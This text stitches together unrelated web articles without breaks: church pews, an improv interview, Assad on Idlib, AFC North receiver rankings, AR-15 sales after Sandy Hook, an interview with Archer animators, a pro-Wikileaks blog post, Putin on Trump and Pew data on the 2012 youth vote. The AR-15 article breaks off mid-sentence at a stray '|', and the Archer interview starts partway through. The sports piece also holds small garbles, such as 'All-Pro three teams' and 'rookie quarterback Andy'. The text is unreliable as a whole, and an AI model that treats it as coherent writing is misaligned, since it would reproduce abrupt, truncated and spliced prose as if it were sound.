Later on when churches could afford the installation of pews, they still relied on parishioners for additional income and began to “rent” pews. This practice was brought over to the United States from England and was adopted by the Catholic Church. Pew rentals were very common in Catholic churches and even authorized by the Third Council of Baltimore as a type of fundraiser.
Catholics, primarily in England and the United States, introduced pews in their churches after Protestants started using them. Homilies became longer in Catholic churches than before and sitting was more common during various parts of the Mass.
At the same time pews have not been readily adopted by Byzantine or Orthodox Christians. To this day most Eastern churches do not have pews and vigorously defend their choice. One Orthodox publication explains the spiritual reasons why they refuse to have pews in their churches.
Pews teach the lay people to stay in their place, which is to passively watch what’s going on up front, where the clergy perform the Liturgy on their behalf. Pews preach and teach that religion and spirituality is the job of the priest, to whom we pay a salary to be religious for us, since it is just too much trouble and just too difficult for the rest of us to be spiritual in the real world of modern North America. Pews serve the same purpose as seats in theaters and bleachers in the ball park; we perch on them … to watch the professionals perform: the clergy and the professionally-trained altar servers, while the professionally-trained choir sings for our entertainment.
Pews are a recent invention in the history of the Church and are a tradition adopted from the Protestant Reformation to relieve worshipers of the need to stand during a homily. In many cases it is an invention welcomed by parishioners, especially for longer homilies. Yet, it is an invention not accepted by all Christians and the use of pews continues to be debated in certain churches.In an interview at Singularity University’s Global Summit in San Francisco, Stanford’s Dan Klein explained how he’s taking improvisational theater beyond the stage and into business, leadership, and life.
Klein is faculty in Stanford’s Drama Department and the Graduate School of Business, teaches at the d.school, and was named teacher of the year in 2009. His work focuses on the multi-disciplinary power of improvisation in leadership and innovation.
“A lot of what I do…is about applying improv techniques in other domains and helping people be more resilient, be more collaborative, be more open—to connect with each other in a way that can help them come up with new ideas and solve new problems,” Klein said.
Watch the whole interview to find out how key tenets of improv—like embracing failure, being a good partner, and compelling storytelling—can help us become better innovators, better leaders, and better people.BEIRUT (Reuters) - Syrian President Bashar al-Assad has said Turkish support was the main factor that helped insurgents to seize the northwestern Syrian city of Idlib from his government’s control last month.
Members of al Qaeda's Nusra Front man a checkpoint at the entrance of Idlib city April 14, 2015. REUTERS/Mohamad Bayoush
Idlib, a short drive from the Turkish border, is only the second provincial capital to fall to insurgents in the four-year-old civil war. It was captured by an alliance of Islamist groups including al Qaeda’s Syrian arm, the Nusra Front.
“Any war weakens any army, not matter how strong, no matter how modern,” Assad said in an interview with Swedish newspaper Expressen, published on Friday.
In the fall of Idlib, “the main factor was the huge support that came through Turkey; logistic support, and military support, and of course financial support that came through Saudi Arabia and Qatar.”
A Turkish government spokesman denied the claim. Turkey is one of the states most hostile to Assad.
The Syrian conflict is estimated to have killed around 220,000 people. Assad has lost control over much of the north and east while trying to shore up his control over the main population centers in the west, with the help of allies including Iran and the Lebanese group Hezbollah.
Idlib has been targeted by heavy Syrian army air strikes since it fell to the insurgents. The Syrian Observatory for Human Rights said there were at least 54 strikes on Friday.
The monitoring group said these included 17 barrel bombs, packed with explosives and shrapnel and dropped from helicopters. Government officials could not be reached for comment.
The Observatory said government forces had killed two leading al Qaeda figures, both Gulf Arabs, south of Idlib city.
Starting next month, the U.N. envoy for Syria Staffan de Mistura is planning to consult Syrian protagonists and interested states on a new round of peace talks. Past attempts have failed to make progress.
Asked about the initiative, Assad said the Syrian crisis had been complicated by external intervention.
Referring to states that are hostile to him, including Turkey, he said de Mistura was aware that if “he couldn’t convince these countries to stop supporting the terrorists and let the Syrians solve their problem, he will not succeed”.
The United States wants to see Assad gone from power and has rejected the idea of allying with him against Islamic State, which has taken over large parts of Syria. In a series of interviews with Western media, he has repeatedly pressed his case that the jihadist groups in Syria pose a threat to Western states.
“Syria is a fault line,” Assad said. “When you mess with this fault line you will have the echoes and repercussions in different areas, not only in our area, even in Europe.”It is exceedingly difficult to pick a divisional wide receiver leader when the AFC North boasts two of the best wide receivers in the entire National Football League. But, as we all know, injuries, suspensions and other factors render this a very fluid situation, and what is true today (just barely) may not be true tomorrow.
As a Cincinnati native who bleeds orange and black, it is hard for me to admit that there may be a better wide receiver on the planet than Adriel Jeremiah Green. And, except for an injury that sidelined Green for the last six games of the 2016 season, I still might not be making that leap.
But there is no arguing with statistics. Let’s get to our rankings of the AFC North wide receivers!
1. Antonio Brown
Even by today's pass-happy standards, what Antonio Brown of the Pittsburgh Steelers has done over the past four seasons has been remarkable.
It started in 2013, when Brown caught 110 passes for 1,499 yards and eight touchdowns. But in 2014, he did even better, hauling in 129 receptions for 1,698 yards and a career-high 13 touchdowns.
The following season, Brown set career bests in both catches (136) and yardage (1,834) and recorded 10 touchdowns. Brown missed one game in 2016, but even then he topped 100 catches for the fourth straight season and recorded 12 scores.
During that four-year span, Brown has averaged 120 receptions for nearly 1,600 yards and double-digit touchdowns. His 481 total receptions during that time is more than any other receiver’s four-year total in NFL history.
Since 2013, Brown has also set league records for most receptions in a two-year span (265) and a three-year span (375). He boasts the most catches by any NFL player in his first six (526) and seven years (632). Last year, Brown became only the second receiver to post four consecutive seasons of at least 100 receptions.
All told, Brown has been selected to the Pro Bowl on five different occasions. He was named first team, All-Pro three teams and made the second team once. He lead the NFL in receiving yards in 2014 and in receptions in 2014 and 2015. Brown was ranked as the top wide receiver and the fourth best player on the NFL Top 100 Players of 2016.
2. A.J. Green
A.J. Green was selected in the first round with the fourth overall pick in the 2011 NFL Draft by the Cincinnati Bengals. Green made the Pro Bowl in his first season with the Bengals, becoming the first rookie receiver to make a Pro Bowl appearance since Anquan Boldin in 2003. From 2011 to 2013, Green caught more passes (260) than any other player in NFL history during their first three seasons, a record that was later broken by Odell Beckham, Jr.
By the end of his rookie season, Green had recorded four 100-yard games and led all NFL rookies in receptions and receiving yards, catching 65 passes for 1,057 yards in 15 games, in the process setting a Bengals’ franchise record for yards receiving by a rookie. He also scored seven touchdowns, which trailed only Julio Jones of the Atlanta Falcons among rookies.
On December 18, 2011, Green and fellow rookie quarterback Andy set an NFL record for yards and receptions by a rookie quarterback/receiver tandem. In 2012, Green caught touchdown passes in nine consecutive games to establish an NFL record for receivers. He gained more than 100 receiving yards in five different games that season and was selected to his second Pro Bowl in his second year in the league.
In 2013, Green set new career highs for receptions with 98 and receiving yards with 1,426, which was the second highest total in Bengals history. He also scored 11 touchdowns and had six 100-yard games, including a franchise record five consecutive from Week 6 to Week 10.
Despite missing three games and nearly all of two more, Green still recorded his fourth consecutive 1,000 yard season during the 2014 season, finishing the year with 69 receptions for 1,041 yards and 6 touchdowns.
Green finished the 2015 season with 86 receptions, 1,297 yards and 10 touchdowns. During the AFC Wild Card game against the Steelers, he caught five passes for 71 yards and recorded his first postseason touchdown reception. He earned his fifth straight Pro Bowl nomination and was ranked 16th on the NFL Top 100 Players of 2016.
In 2016, Green sustained a tear to his hamstring early in a Week 11 loss and missed the final six games of the season. He still finished the year with 66 receptions, 964 receiving yards, and four touchdown receptions in only 10 games. The 2016 season was Green's first without 1,000+ yards receiving. Despite the injury, Green was named to his sixth straight Pro Bowl, though he couldn’t participate for the first time due to the injury. The Week 11 injury was an unfortunate end to what could have been Green’s best year in Bengals stripes.
3. Mike Wallace
Mike Wallace recorded his third 1,000-yard receiving season of his career last year for the Baltimore Ravens, finishing with 1,017 yards receiving on 72 receptions and scored four touchdowns.
His best season came in 2010, his second year in the league, while with the Pittsburgh Steelers. That year, Wallace caught 60 passes for 1,257 yards, and average of 21 yards per catch, and accounted for 10 touchdowns. Wallace made the Pro Bowl in 2011 when he recorded 72 receptions for 1,193 yards and eight scores.
Wallace continued to experience success after signing as a free agent with the Miami Dolphins prior to the 2013 season. He was traded to the Minnesota Vikings in 2015, but responded with the fewest catches, yards and yards per reception of any season in his career.
Wallace experienced a career renaissance with the Ravens in 2016 and looks to continue that success this year.
Mike Wallace stats Season Team Games Receiving Rushing Fumbles Season Team Games Receiving Rushing Fumbles GP Rec Att FUM 2009 Pittsburgh Steelers 16 39 5 1 2010 Pittsburgh Steelers 16 60 5 1 2011 Pittsburgh Steelers 16 72 5 1 2012 Pittsburgh Steelers 15 64 5 2 2013 Miami Dolphins 16 73 3 0 2014 Miami Dolphins 16 67 4 2 2015 Minnesota Vikings 16 39 1 0 2016 Baltimore Ravens 16 72 5 1 Career 127 486 33 8
4. Jeremy Maclin
A Pro-Bowl selection while with the Philadelphia Eagles in 2014, Jeremy Maclin signed as a free agent with the Baltimore Ravens in 2017 after being a surprise cut by the Chiefs in the spring.
Maclin’s best season came in 2014, when he recorded 1,318 yards receiving on 85 receptions with 10 touchdowns. In 2010, in just his second year n the league, Maclin caught 70 passes for 964 yards and 10 touchdowns. He led the league in Red Zone receiving touchdowns with seven, tying New York Giants wide receiver and NFC East rival Hakeem Nicks.
Maclin was signed as a free agent by the Kansas City Chiefs in 2015, and responded with 87 receptions for 1,088 yards and eight scores. He was hampered by injuries in 2016 and managed only 44 catches for 536 yards and two touchdowns over 12 games. He was a surprise cut by the Chiefs this summer.
Jeremy Maclin stats Year Team Games Receptions Targets Yards Avg. Long TD First downs Fumbles Fumbles lost Year Team Games Receptions Targets Yards Avg. Long TD First downs Fumbles Fumbles lost 2009 PHI 15 56 91 773 13.8 56 4 34 0 0 2010 PHI 16 70 116 964 13.8 83 10 45 1 1 2011 PHI 13 63 97 859 13.6 59 5 43 1 1 2012 PHI 15 69 122 857 12.4 70 7 36 1 1 2014 PHI 16 85 143 1,318 15.5 72 10 56 0 0 2015 KC 15 87 124 1,088 12.5 61 8 49 2 1 2016 KC 12 44 76 536 12.2 44 2 29 0 0 Career 102 474 769 6,395 13.5 83 46 292 5 4
5. Kenny Britt
Prior to joining the Cleveland Browns in free agency this season, Britt spent 2016 as a member of the Los Angeles Rams, where he recorded the first 1,000-yard season of his career. Britt finished with 68 receptions for 1,002 yards and five touchdowns.
Probably his best season came in 2010 as a member of the Tennessee Titans when he averaged 18.5 yards per catch on 42 receptions and scored nine touchdowns.
6. Brandon LaFell
Brandon LaFell signed as a free agent with the Cincinnati Bengals in 2016 and ended up having a strong season with 64 receptions for 862 yards and six touchdowns. Those numbers compared favorably to Marvin Jones, the man he replaced. In 2015, Jones recorded 65 receptions for 816 yards and four scores.
LaFell began his career in 2010 with the Carolina Panthers, and set a team record on in 2011 when he caught a 91-yard touchdown pass from rookie quarterback Cam Newton.
LaFell’s biggest season came in 2014 with the New England Patriots when he caught 74 passes for 953 yards and seven touchdowns. Injuries derailed his 2015 season before he was able to rejuvenate his career last year with the Bengals.
7. Sammie Coates
Sammie Coates started the 2016 season by catching a 40-plus-yard pass every week for five straight weeks. But Coates suffered a hand injury in game six of the season and served as not much more than a decoy for the remainder of the season.
8. Tyler Boyd
Tyler Boyd was drafted by the Cincinnati Bengals in the second round, 55th overall, of the 2016 NFL Draft. Boyd responded with one of the best rookie seasons of any Cincinnati Bengal not named A.J. Green when he caught 54 passes for 603 yards and one touchdown. Those totals were fourth best among all rookie receivers.
9. Corey Coleman
Corey Coleman was drafted 15th overall by the Cleveland Browns in the 2016 NFL Draft. After missing the first six games of the season with a broken hand, Coleman finished with 33 receptions for 413 yards and three touchdowns, although he never had more than five receptions in a game. He’ll look to take on a bigger role in his second season and very possibly with a new quarterback.
10. Martavis Bryant
The Steelers receiver was suspended for the entire 2016 NFL season for violating the league's substance abuse policy. Even though Bryant has still not been fully reinstated by the league, his skill set demands that he receive mention among some of the top receivers in the division.
Bryant spent the first six weeks of his rookie season of 2014 on the inactive list. He was finally activated in week seven, and his first career reception went for a 35-yard touchdown. Bryant hauled in a record six touchdown passes through his first four career games and finished the season with 26 catches for 549 yards and eight scores. His 21.1 yards-per-reception average was best among NFL wide receivers.
Bryant was suspended for the first four games of the 2015 season and missed game five with a knee injury. He still finished the season with 50 receptions for 765 yards and six touchdowns.
With our player rankings shared, which AFC North team do you believe boasts the best wide receiver unit? Keep in mind, rookies were not included here and Bengals rookie John Ross may soon become a top playmaker among the division.Steve Denny, owner of Carolina Guns & Gear, says sales of AR-15 rifles and other semi-automatic, military-style rifles remain brisk, although prices have dropped as panic buying has subsided. (Photo: John Boyle, The (Asheville, N.C.) Citizen-Times)
ASHEVILLE, N.C. — Two years ago, in the wake of the Sandy Hook Elementary massacre in which a mentally unstable man killed 20 students and six adults with a military-style rifle, such weapons seemed to be in deep trouble.
After the Dec. 14, 2012, tragedy, President Obama and Congress called for reform and restrictions on the guns and their high-capacity magazines. Fearing an outright ban, gun buyers stampeded stores, cleaning out shelves and driving prices up to nearly $2,000 a rifle, particularly for models based on the popular AR-15 platform.
The shooter in Newtown, Conn., used a Bushmaster AR-15. In some circles, such weapons, often just called "ARs," were labeled after the shootings as unnecessary and emblematic of Americans' obsession with high-powered weaponry with no practical application.
But all that seems like a distant memory now. In a country where gun ownership is assured by the Constitution, the supply of ARs is abundant. Some even call it a glut.
It seems the battle over these guns, if not over, is close to it.
"I think the shift you're seeing now is the military-style weapon is here to stay because it's appealing to a whole new generation," said Steve Denny, owner of Carolina Guns & Gear in Arden, N.C., which has a wall full of military-style weapons for sale.
"You can see it in the industry," Denny said. "The industry had to change from military-style weapons being something that they sold sometimes to them being something that is at the forefront of all their advertising — the tactical use of a firearm."
“I think the shift you're seeing now is the military-style weapon is here to stay because it's appealing to a whole new generation.” Steve Denny, owner of Carolina Guns & Gear
Jeff Stucker, co-owner of On Target indoor shooting range and gun shop in South Asheville, says his sales of ARs have "come to a screeching halt," but not because people no longer want the rifles.
"The market is saturated. The market is flooded with them," said Stucker. "Everybody ramped up, thinking they were going to be outlawed, and lo and behold they weren't."
In a recent opinion piece in American Rifleman, a publication of the National Rifle Association, NRA President James W. Porter II argued that the ubiquity of the AR-15 rifle in America has essentially made it very difficult to outlaw, as was the case with handguns.
Gauging the number of these types of weapons in the United States is difficult, in part because the federal government does not track them specifically, and partly because so many different models are available.
The AR-15, based on the military's M-16 and M-4 models but without the full automatic capacity, undoubtedly is one of the most popular.
In 2012, Slate.com crunched numbers from a variety of manufacturers, as well as federal statistics on background checks, and extrapolated that nearly 3.3 million AR-15s were in the country. But that was before Newtown and calls for bans, which drove sales through the roof.
In congressional testimony last year, the National Shooting Sports Foundation estimated assault-style weapons domestically in the range of 5 million to 8.2 million.
Denny, a former FBI agent and a Navy veteran, estimates the number in the United States now "somewhere around 8 or 9 million. The rate of them being produced is just enormous," he said. And that's just one type of semi-automatic, high-capacity rifle.
Slate noted that more than 800,000 Ruger Mini-14 rifles, based on an M-14 design from the 1950s and '60s, had been produced since 1974.
HAVE THEY BEEN 'NORMALIZED?'
Groups such as the NRA, as well as the buying habits of American consumers, have essentially served to "normalize something that to some people used to seem shocking" — the ownership of a military-style rifle, said Chris Cooper, a political science professor at Western Carolina University.
"That's one of the primary arguments that the pro-gun groups use, is that there's no way to keep a limit on these or stop them — the tide has gone too far," Cooper said, adding that it's been a successful strategy. "We would think a big focusing event — a Columbine, a Newtown — would cause us to change policy radically, but they really haven't, and I think that shows how successful the gun lobby has been and how stable public opinion is on this issue."
In the case of Newtown, restrictions failed to make it through Congress, and not much changed, although some states, including California, Connecticut, Maryland and New York, did enact stricter controls.
But gun control groups aren't giving up.
“That's why you're seeing a shift in the industry away from traditional hunting rifles and shotguns evolve to focus on firepower and capacity.” Josh Sugarmann, executive director Violence Policy Center
Josh Sugarmann, executive director with the non-profit Violence Policy Center in Washington, D.C., acknowledged that "there's certainly a glut" of assault-style weapons right now. That is driven by the NRA and the gun industry "creating a paranoid fervor to increase gun sales."
But he also rejects the argument that ARs as are ubiquitous as pistols. Americans own more than 310 million firearms, so despite their robust sales, assault-style weapons still probably constitute about 2% to 3% of total gun ownership.
"In the long-term trends, gun ownership in the United States has been declining steadily since the 1970s," he said, noting that it used to be about 50% and now stands at 34% of homes owning a gun. "The traditional gun-buying public, basically white males, has been aging and dying off, and there aren't enough replacement shooters to take their place. That's why you're seeing a shift in the industry away from traditional hunting rifles and shotguns evolve to focus |
models in suits, or scuba gear, or whatever we need, and take reference photos to work from. We do all of our drawings here, in-house, in Adobe Illustrator. Those drawings are turned into puppets, so if Archer's going to move his arm around we'll put those rotation points at his forearm and wrist so that we can economize how many drawings we need. Those drawings then will go into Adobe After Effects where we actually do the animation.
DS: So you do your final compositing and animation with After Effects?
NH: After Effects is where all these separate pieces, the character illustrations, the background paintings, sometimes a 3D animated car, all come together. That's where we really start composing the show. They take color and lighting passes over the whole composite of the show, where they'll really add a lot of finishing details, like an atmosphere or moving clouds. It’s impressive what they can turn all these pieces into.
It’s much more puppetry than it is traditional animation. Archer at its core is a limited animation show. We don't use the traditional animation setup that The Simpsons and a lot of the primetime cartoons do and because of that, we work a lot faster. Our pipeline is really built for speed. The average timeline on an episode is somewhere around 11 weeks. It can balloon up to 13 weeks, but that's about our entire production on an episode. Some primetime cartoons that are on Fox, those big name cartoons, they take about nine months per episode.
Because all of our staff is in-house, we can pivot really quickly. It doesn't take much for us to turn the ship around if we need to address something, or something's not working out once we see it in edit. It’s not that hard to make changes. It's not fun, but it doesn't take a month to correct an issue.
CH: Because we're all in the same house, if a problem arises, I can just walk out my office door, two rows of desks down, and ask for that change. We really pivot hard on a dime if we have to.
DS: The fact you’re all in the same studio certainly must increase your communication efficiency.
CH: A lot of efficiency and a lot of control, too. We can talk to our department leads and combine our resources to figure out how something's going to work. It's pretty collaborative and gives us a lot of control over the final look of the show.
DS: Considering that Adam does almost all the writing, how early does he share, "Well it looks like we're gonna have these new characters, these environments," things like that?
NH: We don’t normally see things until he finishes a script, when he turns it in to FX. Sometimes it's a big surprise, other times he gives us a little bit of a heads-up. I can remember way back in Season 3 when we went to space in the finale and he gave us a little heads-up that we needed to design an interior of a space station without giving us any specifics [laughs]. You can only design so much blind. Most of the time we just wait until he finishes a script and then start working it.
DS: Speaking of finished scripts, Archer and crew move to Los Angeles this season. That means a huge number of new characters, sets, costumes and other assets. But the main characters don’t really change from season to season. How much refinement do you do each year? Are you still able to use some of the same visual material you've used in previous years?
CH: Every year at the end of the season we take a look at our library of all the different assets we’ve built and decide if it's good enough or not to go on to the next season. Lately, the last few years, we've been doing quite a bit more redraws and this season is no exception. With a new Los Angeles background and new outfits that they're going to be wearing it was kind of a total redraw. The style's still the same. We know how to draw that Archer style, but the cut of their clothes are different, they've got a lot of different hairstyles, the aesthetic of the backgrounds has changed somewhat. We're always trying to up our game from the previous year. Sometimes, like in Season 5, they're just wearing totally different outfits and that's a different beast you have to tackle.
DS: So how do you handle the design process? You've got a script, new stuff needed for each episode, other stuff that won’t change all season long. Los Angeles affords you a whole new opportunity for just about everything.
NH: Adam was a costume minor in college and because of that he really has a specific vision of what he sees for the characters. We do a lot of research and we throw a lot of designs at Adam and he gives us feedback. Sometimes it's a thumbs up that we nailed it right out of the gate. Sometimes it takes a little more going back and forth, trying to figure out not only what's cool, but what's animatable because we're a limited animation show. We have to pay really close attention to how much detail we're putting into these costumes. If it's too much detail it can actually hurt the animatability of the character. If you see a character wearing plaid, we've taken great pains to make sure that's animatable and hide the seams of the joints in the design.
It's always a process trying to figure out the best rig we can do for each character and what's the best design for each character. As far as the evolution of the show goes, at the end of each season, what Chad was saying, we do a postmortem looking at our character rigs. Sometimes the After Effects guys have specific requests due to technology that they are just now worrying about, or they've written some code to make the animation easier. That will change how we build the actual characters. This season you're going to see a lot more facial expressions than we've done before. That's because they've developed some new coding within After Effects to make these transitions to bigger expressions a little easier. In the past we would have to constantly redraw all these expressions and that became time consuming. Now it's just a little more fluid.
DS: What are you guys using for your 3D work? And in my talk with Adam, he mentioned some new 2D tech you’re using this year. Can you tell us about the new pipeline technology you’re using?
CH: Yeah, well one big new thing that we’re using now is Toon Boom Harmony, which is kind of like a super fancy Flash that's made for animating. It's a lot more traditional and we've been using this a lot more with our rigs. Anything that you see that has a lot of movement, usually our action scenes, like when we do a big spin kick, that's done in Harmony. We've been using that a good bit more this season. You're going to see a lot of fun action scenes.
DS: That's a much more traditional 2D tool.
CH: It is. Our artists rough all the action out, then we get our timing down. We'll bring in our Archer puppets that were made in Illustrator, but actually draw all those inbetweens rather than use them as rotation points.
NH: Using Harmony this year is kind of a blend of what we do and what some of the more traditional shows do. It's really delivered some cool results. I think it's a noticeable change without being jarring, which is what we're going for. It still feels like the show, but it’s the show plus a little.
DS: And for the 3D environment work…
NH: We do our 3D animation in Cinema 4D. We actually build the 3D environments in 3ds Max.
DS: Tight schedule and tight budget. Small studio crew. Certainly a challenging production environment. What are the issues that keep you up at night, that make you pull your hair out and scream, “Lana!”
CH: For me, it's always a race against the clock. As soon as that script shows up in my email we have to start moving. If it's a big episode with a lot of different designs, I'm going to be hustling to get those designs done and sent over to our 3D department to start building as soon as possible. If there are a lot of new characters and designs that I'm trying to figure out, whether it's going to the ocean or just the 1970s dresses, there's a lot of research that goes into everything you see on the screen. I guess the thing that keeps me up at night is just knowing that a script has dropped and that it's up to me to get everything done on time because if I don't, it's going to make the studio suffer.
NH: For me the thing that keeps me up is that Adam's scripts are so cinematic. The general public doesn't get to read what we read, but he writes so well and so cinematically I always feel the pressure to do those scripts justice. That's not me blowing smoke, that's just the reality. Archer is a limited animation show, so it's a constant struggle between what's the coolest way we can do this scene and what's the cheapest way, then finding that middle ground. We only have so much time, we only have so much budget, so we have to make the coolest thing that we can in the time we have with the staff we have.
We don't have the freedom of some of the bigger budget shows that can do these big swooping camera moves, but sometimes we can. It's all smoke and mirrors, look at this because this is really cool, just don't look over to the left because that's a pile of bullshit [laughs]. That's the game and it's always challenging and it's always fun. You're not bored working on this show.
CH: You're going to see some pretty big camera moves in the upcoming season that Adam actually wrote into the script - I'm really impressed with how they turned out. Our team did extremely well and I'm excited for you to see it.
NH: Above all, Archer is an ambitious show. We constantly try to push ourselves, we constantly try to just do what we've done before plus a little. We try to avoid becoming complacent.
DS: Well, I’ve written many times before, I’m a huge fan of the show. I tell Adam during our annual interview that I’ll try not to sound like a total geek fan because, from Day 1, this has been my favorite show on TV. It's just a brilliant, brilliant series. The work you guys do, the stylized animation, it all comes together so well. The show’s writing is so witty and the dialogue is hilarious. You put it all together into something truly outstanding.
The last thing I want to ask is what does it feel like to work on such a smart, sometimes snarky, often nasty but always fantastic show? It's uniquely funny, neatly styled with a great cast. Do you get a different sense of satisfaction working on this show than you have on other projects?
CH: Thank you for the compliment by the way, that really means a lot.
NH: Absolutely.
CH: We work in such a bubble here that until a new season premieres, we don't often get out and see how big Archer is and how many people actually like the show. Right when a season starts is when it really gets fun for us. We get to see the fans’ reactions. Up until then we're just trying to make the best show that we possibly can.
NH: It's an amazing show to be a part of. What Chad was saying, working in a vacuum, it’s easy to forget about the overall show when you're focused on the problems of the day. When you see it premiere and you’re watching it with staff, it's always really satisfying because it looks so good and it's so funny. It's a show that I would watch if I wasn't working on it.
It makes coming to work pretty easy. Working on shows that you're not excited about, you always find a way to love them. But you don't have to really try on Archer. It's a great show.Since Wikileaks started dumping America's diplomatic dirt, it has been subjected to an increasing number of attacks, both legal and illegal. Its servers have been taken down by DDOS attacks by "patriotic" hackers, and then its domain has been taken offline after being dropped by its (American) DNS provider. Those behind these attacks are obviously hoping that it would result in the suppression of Wikileaks and the information it is hosting. They couldn't be more wrong. Instead, it has had the usual effect, spawning a horde of mirrors. So now instead of the leaked material being in one place, its everywhere, and circulating peer-to-peer as well.
Its a classic example of the Streisand Effect. The net interprets censorship as damage and routes around it; attempts to suppress information instead help it to spread further. Even if the US does something catastrophic, and starts drone-bombing servers, the leaked data is already circulating as a torrent and has been downloaded thousands of times; all Wikileaks has to do is tweet a 256-bit key (about 32 characters of text), and it all goes public, without their redactions to limit the names of US sources who might be in danger.
This information - or anything else people choose to leak - cannot be suppressed. Those in power will just have to learn to live with a more transparent world. And if they can't, we're better off without them.Russian President Vladimir Putin says that Americans don't show enough respect for President Trump.
"Mr. Trump was elected by the American people. And at least for this reason it is necessary to show respect for him, even if you do not agree with some of his positions," Putin said at the Valdai International Discussion Club when asked what advice he could give his U.S. counterpart, according to state-run Tass Russian News Agency.
Putin said that "disrespect is shown for [Trump]" in the U.S., which he called "regrettable."
"One can argue but one can't show disrespect, even not for him personally but for those people who voted for him," he said. "I believe that the president of the United States does not need any advice because one has to possess certain talent and go through this trial to be elected, even without having the experience of such big administrative work. He [Trump] has done this."
Putin said that Mr. Trump "won honestly" in the 2016 presidential election.
In September, Putin said that Mr. Trump was "not my bride, and I'm not his groom." Asked how Russia would feel if Mr. Trump were impeached, Putin said it would be "absolutely wrong" for Russia to discuss U.S. politics.
This comes as Special Counsel Robert Mueller continues the federal investigation into Russian interference in the 2016 election and possible collusion between Russian officials and the Trump campaign to help Mr. Trump win.Young Voters Supported Obama Less, But May Have Mattered More
In winning reelection, Barack Obama won 60% of the vote among those younger than 30. That was down somewhat from 2008, when Obama won nearly two-thirds (66%) of the votes of young people. However, Obama’s youth support may have been an even more important factor in his victory this year than it was in 2008.
The divide between young voters and older voters was as stark this year as it was in 2008. While Obama lost ground among voters younger than 30, he still won this age group by 24 points over Mitt Romney (60% to 36%). He also maintained a slimmer advantage among voters 30 to 44 (52% Obama, 45% Romney), while losing ground among those 45 to 64 and those 65 and older.
Among all voters 30 and older, Obama ran behind Mitt Romney (48% for Obama, 50% for Romney). Four years ago, Obama edged John McCain, 50% to 49%, among all 30+ voters.
In Florida, Ohio, Virginia and Pennsylvania, Obama also failed to win a majority of voters 30 and older. Yet he swept all four battleground states, in part because he won majorities of 60% or more among young voters.
Just as critically, young people made up as large a share of the overall electorate as they did in 2008, according to the national exit poll (19% in 2012, 18% in 2008). As recently as September, young voters were significantly less engaged in the campaign than they had been four years earlier. But their interest and engagement levels increased in the campaign’s final weeks. In the Pew Research Center’s final pre-election survey, as many registered voters under 30 said they were giving a lot of thought to the election as did so in the last weekend of the 2008 race.
Obama’s support among young voters declined among many of the same subgroups in the overall electorate in which he lost ground, particularly whites, men and independents. Obama won a majority of white non-Hispanics under 30 in 2008, but lost this group to Romney this year. In contrast, Obama won young African Americans and Hispanics by margins that were about as large as in 2008.
His losses among young voters since 2008 might have been even greater, but for the fact that the under 30s are by far the most racially and ethnically diverse age group. Just 58% are white non-Hispanic, compared with 76% of voters older than 30. A recent report by Pew Social and Demographic Trends found that minorities are on track to become a majority of the overall population by 2050.
Young voters continue to identify with the Democratic Party at relatively high levels and express more liberal attitudes on a range of issues – from gay marriage to the role of the federal government – than do older voters. In fact, voters under 30 were as likely to identify as Democrats in the 2012 exit poll as they had been in 2008 (44% now, 45% then). And they are the only age group in which a majority said that the government should do more to solve problems.
The last two presidential elections have had the widest gaps in voting between young and old of any election since 1972. This year, 60% of those under 30 backed Obama, compared with just 48% of those 30 and older; in 2008, the gap was 16 points (66% of under 30 supported Obama vs. 50% of those 30 and older).
This year’s 12-point difference between old and young this year was identical to the gap in 1972, when 46% of voters 18-29 supported George McGovern compared with just 34% of those 30 and older.
As Pew Research observed a year ago in The Generation Gap and the 2012 Election there were only modest generational differences in presidential vote preferences between 1976 and 2004.
Changes in the Youth Vote: 2008-2012
While Obama carried the youth vote overall, his support declined from 2008 among all young voters and among key subgroups. In particular, Obama lost ground among young whites, men and independents.
Only 44% of white voters under 30 backed Obama, while 51% voted for Romney. This is a substantial change compared with 2008, when Obama carried the young white vote by 10 points (54% to 44%). Far more young blacks and Hispanics backed Obama than Romney, and there was little fall off in his support among these groups from 2008.
Obama also lost support among young men. Overall, 53% of men under 30 supported Obama, down from 62% in 2008. Fully 66% of young women voted for Obama, similar to the 69% who voted for him in 2008.
However, Obama lost support among both white men and women. Overall, 41% of white men supported Obama while 54% supported Romney. In 2008, Obama won the vote among white men, 52% to 46%. While white women voted for Obama over McCain by a 56% to 42% margin four years ago, they were divided this year (48% voted for Obama, 49% for Romney).
Surprisingly, Obama’s vote also declined among young black men, by 14 points, while holding steady among young black women.
Youth Vote in Battleground States
In four of the key battleground states, Obama may not have won without the youth vote. In Florida, 47% of voters 30 and older backed Obama, while 52% supported Romney. But by winning younger voters by two-to-one (66% to 32%), Obama eked out a narrow one-point victory in the state (50% to 49%).
The pattern was similar in Ohio – 48% of voters 30 and older voted for Obama. When younger voters were included, his share of the vote increased to 50% (vs. 48% for Romney). And in both Pennsylvania and Virginia, the youth vote helped push Obama over 50%.
In 2008, Obama won half or more of the vote among those 30 and older in all four states. Thus, he probably would have been able to carry the vote, even with less support from young voters.
The Demography of Young Voters
The racial and ethnic composition of young voters has shifted dramatically over the last four presidential elections. Just 58% of voters age 18-29 identified as white non-Hispanics, while 18% were Hispanic, 17% were African American and 7% identified as mixed-race or some other race. The share of young voters who are white has declined 16 points since 2000, when 74% of voters under 30 identified as white and 26% identified as nonwhite (including 12% who were African American and 10% Hispanic).
This stands in sharp contrast to older voters. Fully 76% of voters 30 and older were white, down only six points from 2000. Only 24% of voters 30 and older were nonwhite, including 12% who identified as black and 8% as Hispanic.
Younger voters also are less likely to be religious than older voters. Only 36% of young voters attend religious services at least weekly, compared with 51% of older voters.
And when it comes to religious affiliation, 47% of young voters say they are Protestant or Christian, but just 16% are white evangelicals. By contrast, 62% of voters 65 and older are Protestant, including 28% who are white evangelicals.
Young voters are three times as likely as voters 65 and older to say they are not affiliated with a religious tradition; 19% of young voters say they have no religious affiliation, compared with just 6% of voters 65 and older.
Party Identification and Issues
Young voters were not only more likely to back Obama, but they are far more likely than older voters to identify as Democrats than their older counterparts. A plurality of voters younger than 30 (44%) consider themselves Democrats while far fewer identify as Republicans (26%) or independents (30%). Young voters are as Democratic as they were in 2008 when 45% identified as Democrats (26% as Republican and 29% as independent).
By comparison, Democrats had just a three-percentage point advantage in party identification among voters 30 and older. Among those voters, 37% identify as Democrats, 34% as Republicans and 25% as independents.
A third of young voters described their political views as liberal, while 41% said they were moderate and just 26% said they were conservative. Among voters 30 and older, 23% said their political views were liberal, 41% said their views were moderate and 37% described themselves as conservative.
Consistent with their strong vote for Obama and their Democratic Party affiliation, young voters also have more liberal views on a variety of issues. A majority (59%) said that the government should do more to solve problems, while 37% said the government is doing too many things better left to businesses and individuals.
